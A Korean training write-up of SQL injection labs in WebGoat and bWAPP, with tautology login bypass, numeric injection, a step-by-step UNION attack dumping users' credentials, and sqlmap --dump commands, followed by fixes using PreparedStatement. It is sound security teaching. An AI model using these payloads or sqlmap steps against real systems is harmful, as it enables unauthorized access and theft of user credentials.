본문 바로가기
SK Shieldus Rookies 19th/애플리케이션 보안

[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Bee box, SQL Injection

by En_Geon 2024. 3. 27.

1. String SQL Injetcion

Injection Flaws > LAB: SQL Injection > Stage 1 : String SQL Injection

 

  • 목표는 Neville 사용자로 로그인하는 것 

 

1) 로그인 버튼을 클릭했을 때 서버로 전달되는 내용 분석(GET 방식)

attack?Screen=18&menu=1100&employee_id=112&password=입력한패스워드&action=Login

 

 

<form id="form1" name="form1" method="post" action="attack?Screen=18&amp;menu=1100">
    <label>
        <select name="employee_id">
            <option value="101">Larry Stooge (employee)</option>
            <option value="102">Moe Stooge (manager)</option>
            <option value="103">Curly Stooge (employee)</option>
            <option value="104">Eric Walker (employee)</option>
            <option value="105">Tom Cat (employee)</option>
            <option value="106">Jerry Mouse (hr)</option>
            <option value="107">David Giambi (manager)</option>
            <option value="108">Bruce McGuirre (employee)</option>
            <option value="109">Sean Livingston (employee)</option>
            <option value="110">Joanne McDougal (hr)</option>
            <option value="111">John Wayne (admin)</option>
            <option value="112">Neville Bartholomew (admin)</option>
        </select>
    </label>
    <br>
    <label>
        Password
        <input name="password" type="password" size="10" maxlength="8">
    </label>
    <br>
    <input type="submit" name="action" value="Login">
</form>

 

 

2) 요청 파라미터를 이용한 쿼리문 유추

SELECT * FROM users WHERE id = 112 and pw = '입력한 패스워드'

 

  • 일치하는 결과가 존재하면 로그인 성공

 

3) 유추한 쿼리의 일치하는 결과가 항상 존재하도록 수정

SELECT * FROM users WHERE id = 112 and pw = a' or 'a' = 'a

 

  • a는 의미 없는 값
  • or 'a' = 'a는 항상 참이 되는 값

 

4) maxlength = 8

 

코드에서 보면 Password는 최대 길이가 8로 제한되어 공격이 이루어지지 않는다 .

maxlength = 8을 우회하는 방법을 생각해야 한다.

 

(1) 개발자 도구를 이용해 길이 제한을 해제

 

 

 

(2) 프록시 도구를 이용해 요청 데이터를 변조해서 전달

 

  • 인터셉터 설정

 

 

 

  • 로그인 요청

 

 

  • 인터셉터 된 내용에서 요청 파라미터를 공격 문자열을 포함하도록 변조 후 전달

 

 

  • 로그인 성공

 

 

5) 문제점

(1) 사이트의 문제점

 

  • 입력값 검증 부재

로그인 화면에서 입력값의 길이를 제한했으면, 서버에서도 입력값의 길이를 검증해야 하지만, 하지 않음

 

 

  • SQL Injection

입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용

 

(2) 취약한 소스코드 확인 

Ctrl + Shift + R > Login.java 실행

 

 

 

Ctrl + Shift + F를 눌러 자동으로 코드 내용을 문법 템플릿에 맞게 포매팅(들여쓰기)한다.

108번 줄 public boolean login 함수 안에 있는 문구 중 113번 줄, 116~118번 줄을 본다.

 

  • 113번 줄

 

String query = "SELECT * FROM employee WHERE userid = " + userId + " 
and password = '" + password + "'";

 

  • 외부 입력값을 쿼리 조각 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용

 

  • 116번 줄

 

Statement answer_statement = WebSession.getConnection(s).createStatement(
	ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);

 

  • Statement 객체를 이용해서 쿼리를 실행

 

(3) 소스 코드 문제점

 

  • SQL Injection

해당 소스 코드는 Statement 객체를 이용해서 쿼리를 실행하고 있는데, 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용하므로, 외부 입력값에 의해서 쿼리의 구조와 내용이 변형되어 실행될 수 있다.

 

 

6) 안전한 소스코드로 수정

(1) 113번 줄

 

  • 쿼리의 구조를 정의

 

String query = "SELECT * FROM employee WHERE userid = ? and password = ? ";

 

(2) 116번 줄

 

  • PreparedStatement 객체 생성

 

PreparedStatement answer_statement = WebSession.getConnection(s) 
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, 
ResultSet.CONCUR_READ_ONLY);

 

 

answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setString(2, password);
ResultSet answer_results = answer_statement.executeQuery();

 

  • 변수에 값 전달 후 쿼리 실행

 

 

2. Numeric SQL Injection

LAB: SQL Injection > Stage 3: Numeric SQL Injection

 

  • 목표는 Larry 사용자로 로그인해서 Neville 사용자의 프로필을 보는 것
  • Larry의 패스워드는 larry, Neville의 사번은 112
  • Larry는 employee 권한을 가지고 있으므로, 본인 프로파일만 열람 가능

 

1) 개발자 도구 또는 Proxy 도구 이용 employee_id 값 변경

 

 

 

 

 

  • 오류 발생

데이터 레이어에서의 접근 통제가 구현되어 있어 다른 사용자의 아이디로 요청하면 오류 발생

 

 

2) 취약한 소스코드 확인

Ctrl + Shift + R > ViewProfile.java 실행
Ctrl + Shift + F 자동 포매팅

 

 

87번 줄 public Employee getEmployeeProfile 함수 안에 있는 문구 중 92번 줄, 97번 줄을 본다.

 

(1) 92번 줄

 

String query = "SELECT employee.* " + "FROM employee, ownership
	WHERE employee.userid = ownership.employee_id and " +
	"ownership.employer_id = " + userId + " 
	and ownership.employee_id = " + subjectUserId;

 

  • 정확한 테이블 확인
  • employee : 직원 테이블
  • ownership : 권한 테이블 (어떤 직원이 어떤 직원을 조회할 수 있는지 정보를 가지고 있는 테이블)
  • userId : 조회를 요청하는 직원 ID, Larry
    • 로그인한 사용자의 정보를 담고 있는 세션으로부터 추출
    • 서버의 세션 정보를 이용하므로 변조할 수 없음
  • subjectUserId : 조회 대상 직원 ID, Neville
    • 사용자 화면에서 요청 파라미터로 전달된 값 
    • 전달되는 과정에서 변조 가능
    • 모든 데이터를 조회하고, 공격자가 조회하려고 하는 데이터가 처음에 위치하도록 쿼리를 작성
    • 로그인 화면에서 Neville 사용자의 사번이 가장 큰 것을 이용
    • 101 or 1 = 1 order by employee_id desc

 

(2) 97번 줄

 

Statement answer_statement = WebSession.getConnection(s) .createStatement(
	ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())

 

  • 조회 결과 데이터의 맨 처음 데이터를 읽어서 출력

 

3) 개발자 도구 이용 공격 문자열 전달

101 or 1 = 1 order by employee_id desc

 

 

 

4) 결과 확인

 

 

 

 

5) 안전한 소스코드로 수정

(1) 92번 줄

 

  • 쿼리 구조 정의

 

String query = "SELECT employee.* " + "FROM employee,ownership
	WHERE employee.userid = ownership.employee_id and " +
	"ownership.employer_id = ? and ownership.employee_id = ? ";

 

 

(2) 97번 줄

 

  • PreparedStatement 객체 생성

 

PreparedStatement answer_statement = WebSession.getConnection(s) 
	.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, 
	ResultSet.CONCUR_READ_ONLY);

 

 

  • 변수에 값을 맵핑하고 쿼리 실행

 

answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setInt(2, Integer.parseInt(subjectUserId));
ResultSet answer_results = answer_statement.executeQuery();

 

executeQuery()에 있는 query는 위에서 객체를 생성할 때 이미 넘겨 주었기 때문에 빼줘야 한다.

 

 

3. UNION Based SQL Injection

Kali에서 bee.box/bWAPP 접속 후 SQL Injection (GET/Search)

 

 

 

  • 목표는 서비스에 등록된 모든 사용자의 계정 정보 탈취

 

1) 서버 전달 내용 유추

 

  • man 입력
  • http://bwapp/sqli_1.php?title=man&action=search

 

<form action="/bWAPP/sqli_1.php" method="GET">
        <p>
            <label for="title">Search for a movie:</label>
            <input type="text" id="title" name="title" size="25">
            <button type="submit" name="action" value="search">Search</button>
        </p>    
</form>

 

 

2) 내부 쿼리문 유추

 

SELECT * FROM movies WHERE title like '%man%'

 

  • 조건과 일치하는 데이터를 조회해서 출력

 

3) 오류 유발

 

  • 사용자 화면에서 입력한 값이 서버로 전달되어 내부 처리 과정에서 입력값을 검증 및 제한 하는지 확인
  • 오류를 일부러 유발

 

SELECT * FROM moives WHERE title like '%man'%'

 

'를 입력함으로써 앞부분까지는 제목이 man으로 끝나는 데이터를 조회하지만, 뒤 %'가 알 수 없는 내용으로 구문 오류 발생

 

 

  • 구문 오류로 나온 오류 메시지를 통해 정보 획득
  • 해당 서비스의 데이터베이스는 MySQL
  • 입력값을 검증, 제한 하지 않고 그대로 쿼리문 생성 및 실행에 사용
  • 인젝션 가능

 

4) 쿼리문 변조

 

SELECT * FROM movies WHERE title like '%man' UNION 공격자가 원하는 데이터 조회 쿼리 -- %'

 

앞부터 man'까지는 서비스 쿼리의 실행 결과다. 목표는 공격자가 원하는 데이터 조회 쿼리는 만드는 것이다.

 

--는 인라인 주석으로 위에서 %' 때문에 구문 오류가 발생한 것을 --를 사용함으로 %' 주석처리 해 공격자가 사용한 쿼리에서 문장이 끝나도록 만들었다.

 

 

(1) UNION

 

  • 쿼리의 결과를 하나로 합쳐주는 역할
  • 두 쿼리의 실행 결과가 동일한 컬럼 개수를 가져야 함
  • 두 쿼리의 실행 결과의 각 컬럼의 데이터 타입이 호환할 수 있어야 함
  • 쿼리의 실행 결과로 반환되는 컬럼의 개수와 데이터 타입을 확인해야 사용 가능

 

(2) 컬럼 개수 확인

 

SELECT * FROM movies WHERE title like '%man' or 'a' = 'a' order by 1 -- %'
SELECT * FROM movies WHERE title like '%man' or 'a' = 'a' order by 2 -- %'
SELECT * FROM movies WHERE title like '%man' or 'a' = 'a' order by 3 -- %'

 

모든 데이터를 조회하고, 조회 결과를 첫 번째 컬럼의 값을 기준으로 정렬하는 쿼리문이다.

컬럼의 기준값을 바꿔가면서 컬럼의 개수가 몇 개인지 확인한다.

 

 

8까지 입력하면 에러가 발생하는 것을 볼 수 있다. 그러므로 컬럼의 개수는 7개이다.

 

 

(3) 컬럼의 데이터 타입과 관계없이 결합 가능하도록 쿼리 수정

 

select * from movies where title like '%man' and 'a' = 'b' -- %'

 

  • 항상 거짓이 되는 조건 추가
  • 조회 결과 없음
  • 아무 데이터 타입과 결합 가능

 

(4) 컬럼이 어느 위치에 출력되는지 확인

 

select * from movies where title like '%man' and 'a' = 'b'
UNION select 1, 2, 3, 4, 5, 6, 7 -- %'

 

 

서비스 쿼리가 반환하는 7개 컬럼 중 4개의 컬럼만 화면 출력에 사용하고 있다.

 

 

(5) 버전 정보 출력

 

select * from movies where title like '%man' and 'a' = 'b' 
UNION select 1, @@version, 3, 4, 5, 6, 7 -- %'

 

 

버전 정보를 입력함으로 쿼리문이 잘 작동하는지 확인한다.

 

 

(6) 시스템 테이블을 이용해 원하는 정보 조회

 

 

select * from movies where title like '%man' and 'a' = 'b' UNION select 1, 
	table_name, table_type, 4, 5, 6, 7 from information_schema.tables -- %'

 

시스템 테이블을 이용해 테이블 이름과 타입을 확인한다.

 

 

 

(7) 사용자 정보가 있을 것 같은 테이블의 컬럼 정보 조회

 

select * from movies where title like '%man' and 'a' = 'b' 
UNION select 1, table_name, column_name, 4, 5, 6, 7 
from information_schema.columns where table_name = 'users' -- %'

 

 

 

 

(8) users 테이블의 id, login, password, email, secret 컬럼의 정보 조회

 

select * from movies where title like '%man' and 'a' = 'b' 
UNION select 1, concat(id, ' : ', login), password, email, secret, 6, 7 from users -- %'

 

 

 

(9) 패스워드 크래킹

패스워드 크래킹

 

 

 

 

  • 안전하지 않은 해시 함수 사용하는 경우, 쉽게 원문을 추출할 수 있음

 

(10) 사용자 계정 

 

  1. A.I.M / bug
  2. bee / bug

 

5) 취약한 소스코드 확인

bee.box > var > www > bWAPP > sqli_1.php

 

 

더보기
<?php

include("security.php");
include("security_level_check.php");
include("selections.php");
include("functions_external.php");      // ⇐ 보안 등급별로 실행될 함수를 정의하고 있는 파일
include("connect.php");

function sqli($data){

    switch($_COOKIE["security_level"]) 
    // ⇐ 사용자 화면에서 설정한 보안 등급(쿠키에 저장되어 있음)에 따라 동작
    {
        case "0" : // ⇐ 낮은 보안 등급이 설정되면 취약한 함수가 호출
            $data = no_check($data); 
            // ⇐ 매개 변수로 전달한 값을 그대로 반환 = 입력값이 그대로 사용되는 구조
           
            break;

        case "1" :
            $data = sqli_check_1($data); 
            // ⇐ 높은 보안 등급은 매개 변수에서 문제가 되는 부분을 제거하는 기능을 구현

            break;

        case "2" :
            $data = sqli_check_2($data);

            break;

        default :
            $data = no_check($data);

            break;

    }

    return $data;

}

?>

// ... 화면 구성 ...

<div id="main">

    <h1>SQL Injection (GET/Search)</h1>
    <form action="<?php echo($_SERVER["SCRIPT_NAME"]); ?>" method="GET">
          // ⇐ 문제 부분 사용자가 입력한 값을 현재 페이지로 다시 호출하는 구조
        <p>             
        <label for="title">Search for a movie:</label>
        <input type="text" id="title" name="title" size="25">
        <button type="submit" name="action" value="search">Search</button>
           // ⇐  버튼을 클릭하면 action 이름으로 search라는 값을 전달
        </p>
    </form>
    <table id="table_yellow">
        <tr height="30" bgcolor="#ffb717" align="center">
            <td width="200"><b>Title</b></td>
            <td width="80"><b>Release</b></td>
            <td width="140"><b>Character</b></td>
            <td width="80"><b>Genre</b></td>
            <td width="80"><b>IMDb</b></td>
        </tr>
<?php

if(isset($_GET["title"])) 
//  ⇐ 제목을 입력하고 search 버튼을 클릭해서 온 요청인지를 판단
{
    $title = $_GET["title"];
    $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
                                                     // ~~~~~~~~~~~~~~~~              
    $recordset = mysql_query($sql, $link);          //  문자열 결합 방식으로 쿼리문을 생성  
                                                   //   보안 등급별 함수 호출 결과를 이용
    if(!$recordset)             // ⇐ 오류가 발생하는 경우 
    {
        // die("Error: " . mysql_error());
?>
        <tr height="50">
            <td colspan="5" width="580"><?php die("Error: " . mysql_error()); ?></td>
        </tr>
<?php
    }

    if(mysql_num_rows($recordset) != 0)           // ⇐ 조회 결과가 있는 경우 
    {
        while($row = mysql_fetch_array($recordset))         
        {
?>
        <tr height="30">
            <td><?php echo $row["title"]; ?></td>
            <td align="center"><?php echo $row["release_year"]; ?></td>
            <td><?php echo $row["main_character"]; ?></td>
            <td align="center"><?php echo $row["genre"]; ?></td>
            <td align="center"><a href="http://www.imdb.com/title/<?php echo $row["imdb"]; ?>
            " target="_blank">Link</a></td>
        </tr>
<?php
        }
    }
    else // ⇐ 조회 결과가 없는 경우 
    {
?>
        <tr height="30">
            <td colspan="5" width="580">No movies were found!</td>
        </tr>
<?php
    }
    mysql_close($link);         // ⇐ 데이터베이스 연결을 종료
}
else                   // ⇐ 메뉴를 통해서 호출되는 경우 → 조회 결과 없이 기능을 제공 
{
?>
        <tr height="30">
            <td colspan="5" width="580"></td>
        </tr>
<?php
}
?>
    </table>
</div>
// ... 공통 부분 ...



(1) functions_external.php 파일에 no_check() 함수와 sqli_check_1() 함수, sqli_check_2() 함수 확인

function no_check($data){    
    return $data;             //  ⇐ 매개변수 값을 그대로 반환 
}                            //      → 쿼리 조작 문자열이 포함되어 있어도 그대로 사용되게 됨

function sqli_check_1($data){
    return addslashes($data);    
}

function sqli_check_2($data){
    return mysql_real_escape_string($data);
}

 

 

 

6) sqlmap 이용 공격

sudo apt install -y sqlmap

 

sqlmap을 설치하고 cookie 값을 확인한다.

 

 

 

 

(1) 데이터베이스 목록 조회

 

sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0" --dbs

 

  • login.php 페이지로 리다이렉트된다는 메시지가 나오는 경우 다시 로그인한 후 쿠키값을 재 설정해서 실행

 

 

 

데이터테이스 목록

 

  • 테이블 확인
  • DBMS 확인
  • 데이터베이스 목록 확인

 

 

(2) bWAPP 데이터베이스가 가지고 있는 테이블 정보를 조회

 

sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0" -D bWAPP --tables

 

 

bWAPP tables

 

 

 

(3) users 테이블의 컬럼 정보를 조회

 

sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0" -D bWAPP -T users --columns

 

 

 

 

 

(4) users 테이블의 데이터를 조회

 

sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie="PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0" -D bWAPP -T users --dump

 

 

 

 

  • 몇 개의 명령어로 SQL Injection 공격에 취약한 사이트의 사용자 정보를 해시 크래킹해서 조회 가능

댓글